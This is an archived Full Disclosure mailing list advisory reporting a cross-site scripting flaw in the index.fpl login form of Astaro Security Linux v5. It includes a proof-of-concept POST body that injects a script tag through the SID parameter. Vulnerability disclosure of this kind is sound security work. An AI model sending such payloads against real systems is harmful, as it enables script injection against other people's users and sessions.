Full Disclosure mailing list archives
Vulnerability Astaro Security Linux v5
From: Mehdi Mahdjoub - Sysdream IT Security Services <m.mahdjoub () sysdream com>
Date: Tue, 23 Mar 2010 09:47:13 +0100
Program : Astaro Security Linux v5 PoC : XSS Homepage : http://www.astaro.com/ Found by : Vincent Hautot Contact : v.hautot () sysdream com //----- Application description Astaro Security Linux is a complete network security solution that protects organizations against a wide range of threats to security and productivity. //----- Description of vulnerability This Xss was found on index.fpl page in the login form. Usig this flaw it is possible to execute Javascript code. Posting using multipart/form-data does not work ; use this data instead: username=my () fucking mail&password=DTC&SID=>"><script>alert("XSS !!!")</script> &cur_width=1&window_height=700&id=0121&jaction=none&frameset=active&new_id=0 //----- Credits http://www.sysdream.com/article.php?story_id=326§ion_id=78 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Vulnerability Astaro Security Linux v5 Mehdi Mahdjoub - Sysdream IT Security Services (Mar 23)